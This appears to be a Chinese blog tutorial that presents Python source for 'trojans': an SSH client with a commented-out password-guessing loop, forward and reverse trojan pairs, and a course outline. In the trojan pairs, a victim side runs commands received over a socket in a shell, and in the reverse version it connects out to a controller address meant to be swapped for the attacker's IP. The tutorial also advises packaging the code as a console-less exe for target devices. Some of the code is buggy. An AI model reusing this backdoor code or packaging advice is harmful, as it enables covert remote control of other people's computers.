利用Python编写远程控制程序

 基于paramiko实现SSH客户端

import paramiko
#创建SSClient对象
client = paramiko.SSHClient()
#允许自己连接不认识的主机
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

#连接服务器
#passwords=['123456','root']
#for i in passwords:
#    print(i)
client.connect('主机名','端口','用户名','密码')

stdin,stdout,stderr = client.exec_command('ls')
#获取命令结果
print(stdout.read())

正向连接脚本

除了通过SSH连接服务器外,还用其他的方式也可以实现远程控制,也就是我们常说的木马,对于一个木马来说,至少要具备以下两个功能:

1:服务端能够对设备进行控制

2:客户端可以远程向服务器传达命令

正向木马客户端

import socket
import time

str_msg=input("请输入指令")
s2 = socket.socket()
s2.connect(("127.0.0.1",2315))
#对传输数据使用encode()函数处理,python3不再支持str类型传输,需要转换为bytes类型
str_msg = str_msg.encode(encoding='gbk')
s2.send(str_msg)
print(str(s2.recv(1024)))

time.sleep(5)
s2.close()

正向木马服务端

import subprocess
import socket

def run_command(command):
    command=command.rstrip()    #删除字符串末尾指定字符,默认为空格
    print(command)
    try:
        child = subprocess.run(command,shell=True)
    except Exception as e:
        child = "执行失败\r\n"
    return child

s1 = socket.socket()
s1.bind(("127.0.0.1",2315))
s1.listen(5)
str="Hello World"

while True:
    conn,address = s1.accept()
    print("a new connect from",address)
    conn.send(str.encode(encoding="gbk"))
    data=conn.recv(1024)
    data=bytes.decode(data)
    print("The command is"+data)
    output = run_command(data)

conn.close()

反向连接脚本

正向连接脚本实际上受到目标设备IP的限制,所以出现了一种更有效的木马。反向木马的被控端写有主控端的IP地址,一但在目标设备上运行,就会主动通知主控端,然后再从主控端发送命令。

逆向木马被控端

import subprocess
import socket
def run_command(command):
    command = command.rstrip()
    #print(type(command))
    #command="calc"
    try:
        child = subprocess.run(command,shell=True)
    except Exception as e:
        child = '命令执行失败\n'
    return child
client = socket.socket()

#连接主控端的IP地址

client.connect(('127.0.0.1',9999))
while True:
    Message = "welcome"
    client.send(Message.encode())
    data = client.recv(1024)
    data=data.decode()
    output = run_command(data)
    #print(output.stdout)

client.close()

逆向木马主控端

import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        try:
            while True:
                self.data = self.request.recv(1024)
                print(self.data.deconde(),"\n")
                cmd = input("(quit退出>>").strip()
                if cmd == 0:
                    continue
                if cmd == "quit":
                    break
                if not self.data:
                    print("connection lost")
                    break
                self.request.sendall(cmd.encode())
        except Exception as e:
            print(self.client_address,"连接断开")
        finally:
            self.request.close()
    def setup(self):
        print("before handle,连接建立",self.client_address)
    def finish(self):
        print("finish run after handle")
if __name__ == "__main__":
    HOST = "localhost"
    PORT = 9999
    server = socketserver.TCPServer((HOST,PORT),MyTCPHandler)
    server.serve_forever()

py文件变成exe文件

目标设备上可能没有python环境,所以有时候需要改变一下文件类型

使用 pyinstaller xxx.py(文件路径)

-F 打包后生成单个exe文件

-D 默认选项,创建一个目录,包含exe文件和大量依赖文件

-c 默认使用控制台(黑框框)

-w 不使用控制台

-p 添加搜索路径,让其找到对应的库

-i 改变生成程序的icon图标

本系列课程为Python实战系列课程:使用微信控制电脑,使用Python的Web框架Flask搭建网页, 并使用网页控制电脑;使用wxPython编写图形化的程序,并进一步将这个程序发展为远程控制程序。 课程目录: |--|----|----1 微信远控:Python 控制电脑的两种方法 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 命令提示符 CMD 入门.mp4 |--|----|----|----3 Python 执行 CMD 命令.mp4 |--|----|----|----4 Python 调用 Win API.mp4 |--|----|----2 微信远控:让微信控制电脑 |--|----|----|----1 微信控制电脑原理.mp4 |--|----|----|----2 新浪邮箱的设定.mp4 |--|----|----|----3 Python 收发邮件.mp4 |--|----|----|----4 微信控制电脑的实现.mp4 |--|----|----|----5 沙盘化的微信远控.mp4 |--|----|----3 Flask 快速搭建网站 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 Flask 与 BootStrap 搭建网页.mp4 |--|----|----|----3 Flask 操作数据库.mp4 |--|----|----4 网页控制电脑 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 建立通信.mp4 |--|----|----|----3 轮询与推送.mp4 |--|----|----|----4 网页控制电脑.mp4 |--|----|----5 Python 图形程序入门 |--|----|----|----1 wxPython 介绍与安装.mp4 |--|----|----|----2 基本控件介绍与绝对布局.mp4 |--|----|----|----3 控件相对布局.mp4 |--|----|----|----4 多线程与事件.mp4 |--|----|----6 编写图形界面的远程控制程序 |--|----|----|----1 远程控制程序的需求分析.mp4 |--|----|----|----2 Socket 通信.mp4 |--|----|----|----3 受控端功能强化.mp4 |--|----|----|----4 远程控制软件的实现与测试.mp4 |--|----|----7 开发远程控制程序高级功能 |--|----|----|----1 高级功能概述.mp4 |--|----|----|----2 读写剪贴板.mp4 |--|----|----|----3 使用 Python 截图.mp4 |--|----|----|----4 Python 上传文件.mp4 |--|----|----|----5 结课总结.mp4
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值